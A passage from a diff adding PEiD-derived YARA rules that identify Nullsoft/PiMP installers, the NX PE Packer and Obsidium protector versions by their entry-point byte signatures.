+        $a = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01349_Nullsoft_Install_System_2_0_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 C7 44 24 10 ?? ?? ?? ?? 33 DB C6 44 24 14 20 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 56 57 A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 8D FF FF FF 8B 2D ?? ?? ?? ?? 85 C0}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01350_Nullsoft_Install_System_2_0a0_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0a0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74}
+    condition:
+        $a
+}
+
+rule PEiD_01351_Nullsoft_Install_System_2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01352_Nullsoft_Install_System_2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71}
+    condition:
+        $a
+}
+
+rule PEiD_01353_Nullsoft_Install_System_v1_98_
+{
+    meta:
+        description = "[Nullsoft Install System v1.98]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 2C 81 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01354_Nullsoft_Install_System_v1_xx_
+{
+    meta:
+        description = "[Nullsoft Install System v1.xx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00 56 56 56 89 75 E4 E8 C1 C9 FF FF 8B 1D 68 70 40 00 83 C4 0C 89 45 E8 89 75 F0 6A 02 56 6A FC 57 FF D3 89 45 FC 8D 45 F8 56 50 8D 45 E4 6A 04 50 57 FF 15 48 70 40 00 85 C0 75 07 BB 7C 9E 40 00 EB 7A 56 56 56 57 FF D3 39 75 FC 7E 62 BF 74 A2 40 00 B8 00 10 00 00 39 45 FC 7F 03 8B 45 FC 8D 4D F8 56 51 50 57 FF 75 EC FF 15 48 70 40 00 85 C0 74 5A FF 75 F8 57 FF 75 E8 E8 4D C9 FF FF 89 45 E8 8B 45 F8 29 45 FC 83 C4 0C 39 75 F4 75 11 57 E8 D3 F9 FF FF 85 C0 59 74 06 8B 45 F0 89 45 F4 8B 45 F8 01 45 F0 39 75 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01355_Nullsoft_Install_System_v1_xx_
+{
+    meta:
+        description = "[Nullsoft Install System v1.xx]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00 74 05 56 FF D7 8B F0 89 74 24 14 80 3E 20 75 07 56 FF D7 8B F0 EB F4 80 3E 2F 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01356_Nullsoft_Install_System_v2_0_RC2_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0 RC2]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 68 68 92 40 00 56 FF D3 E8 6A FF FF FF 85 C0 0F 84 59 01 00 00 BE 20 E4 42 00 56 FF 15 68 70 40 00 68 5C 92 40 00 56 E8 B9 28 00 00 57 FF 15 BC 70 40 00 BE 00 40 43 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 40 43 00 22 A3 20 EC 42 00 8B C6 75 0A C6 44 24 13 22 B8 01 40 43 00 8B 3D 18 72 40 00 EB 09 3A 4C 24 13 74 09 50 FF D7 8A 08 84 C9 75 F1 50 FF D7 8B F0 89 74 24 1C EB 05 56 FF D7 8B F0 80 3E 20 74 F6 80 3E 2F 75 44 46 80 3E 53 75 0C 8A 46 01 0C 20 3C 20 75 03 83 CD 02 81 3E 4E 43 52}
+    condition:
+        $a
+}
+
+rule PEiD_01357_Nullsoft_Install_System_v2_0_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 68 68 92 40 00 56 FF D5 E8 6A FF FF FF 85 C0 0F 84 57 01 00 00 BE 20 E4 42 00 56 FF 15 68 70 40 00 68 5C 92 40 00 56 E8 9C 28 00 00 57 FF 15 BC 70 40 00 BE 00 40 43 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 40 43 00 22 A3 20 EC 42 00 75 0A C6 44 24 14 22 BE 01 40 43 00 FF 74 24 14 56 E8 8A 23 00 00 50 FF 15 80 71 40 00 8B F8 89 7C 24 18 EB 61 80 F9 20 75 06 40 80 38 20 74 FA 80 38 22 C6 44 24 14 20 75 06 40 C6 44 24 14 22 80 38 2F 75 31 40 80 38 53 75 0E 8A 48 01 80 C9 20 80 F9 20 75 03}
+    condition:
+        $a
+}
+
+rule PEiD_01358_Nullsoft_Install_System_v2_0a0_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0a0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00}
+    condition:
+        $a
+}
+rule PEiD_01359_Nullsoft_Install_System_v2_0b2__v2_0b3_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0b2, v2.0b3]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 FF 15 ?? 70 40 00 8B 35 ?? 92 40 00 05 E8 03 00 00 89 44 24 14 B3 20 FF 15 2C 70 40 00 BF 00 04 00 00 68 ?? ?? ?? 00 57 FF 15 ?? ?? 40 00 57 FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01360_Nullsoft_Install_System_v2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00 68 E4 91 40 00 56 FF D3 E8 7C FF FF FF 85 C0 0F 84 59 01 00 00 BE E0 66 42 00 56 FF 15 68 70 40 00 68 D8 91 40 00 56 E8 FE 27 00 00 57 FF 15 BC 70 40 00 BE 00 C0 42 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 C0 42 00 22 A3 E0 6E 42 00 8B C6 75 0A C6 44 24 13 22 B8 01 C0 42 00 8B 3D 10 72 40 00 EB 09 3A 4C 24 13 74 09 50 FF D7 8A 08 84 C9 75 F1 50 FF D7 8B F0 89 74 24 1C EB 05 56 FF D7 8B F0 80 3E 20 74 F6 80 3E 2F 75 44 46 80 3E 53 75 0C 8A 46 01 0C 20 3C 20 75 03 83 CD 02 81 3E 4E 43 52}
+    condition:
+        $a
+}
+
+rule PEiD_01361_Nullsoft_Install_System_v2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71 40 00 03 C6 50 E8 78 29 00 00 56 E8 47 2B 00 00 6A 00 56 FF D3 56 57 E8 EA 25 00 00 85 C0 75 0D C7 44 24 14 58 91 40 00 E9 72 02 00 00 57 FF 15 24 71 40 00 68 EC 91 40 00 57 E8 43}
+    condition:
+        $a
+}
+
+rule PEiD_01362_Nullsoft_PiMP_Install_System_1_x_
+{
+    meta:
+        description = "[Nullsoft PiMP Install System 1.x]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74}
+    condition:
+        $a
+}
+
+rule PEiD_01363_Nullsoft_PIMP_Install_System_v1_3x_
+{
+    meta:
+        description = "[Nullsoft PIMP Install System v1.3x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? 00 00 56 57 6A ?? BE ?? ?? ?? ?? 59 8D BD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01364_Nullsoft_PiMP_Install_System_v1_x_
+{
+    meta:
+        description = "[Nullsoft PiMP Install System v1.x]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00 74 05 56 FF D7 8B F0 89 74 24 14 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 3E 2F}
+    condition:
+        $a
+}
+
+rule PEiD_01365_Nullsoft_PIMP_Install_System_v1_x_
+{
+    meta:
+        description = "[Nullsoft PIMP Install System v1.x]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 5C 53 55 56 57 FF 15 ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01366_NX_PE_Packer_v1_0_
+{
+    meta:
+        description = "[NX PE Packer v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {FF 60 FF CA FF 00 BA DC 0D E0 40 00 50 00 60 00 70 00 80 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01367_Obsidium_1_2_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 3F 1E 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01368_Obsidium_1_2_5_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01369_Obsidium_1_2_5_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01370_Obsidium_1_2_5_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01371_Obsidium_1_2_5_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 7B 21 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01372_Obsidium_1_3_0_0____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium 1.3.0.0 -> Obsidium Software (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B}
+    condition:
+        $a
+}
+
+rule PEiD_01373_Obsidium_1_3_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 22 EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 01 ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 47 26 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01374_Obsidium_1_3_0_13____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.13 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03}
+    condition:
+        $a at pe.entry_point
+}
+
+import "pe"
+
+rule PEiD_01375_Obsidium_1_3_0_13____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.13 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 03 ?? ?? ?? E8 13 26 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01376_Obsidium_1_3_0_17____Obsidium_software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.17 -> Obsidium software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01377_Obsidium_1_3_0_17____Obsidium_software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.17 -> Obsidium software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 4F 26 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01378_Obsidium_1_3_0_21____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.21 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 26 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01379_Obsidium_1_3_0_37____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.37 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01380_Obsidium_1_3_0_4____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium 1.3.0.4 -> Obsidium Software (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01381_Obsidium_1_3_1_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.1.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01382_Obsidium_1_3_2_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.2.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 2A 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01383_Obsidium_1_3_3_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 02 ?? ?? E8 5F 27 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01384_Obsidium_1_3_3_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01385_Obsidium_1_3_3_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 02 ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 3B 27 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
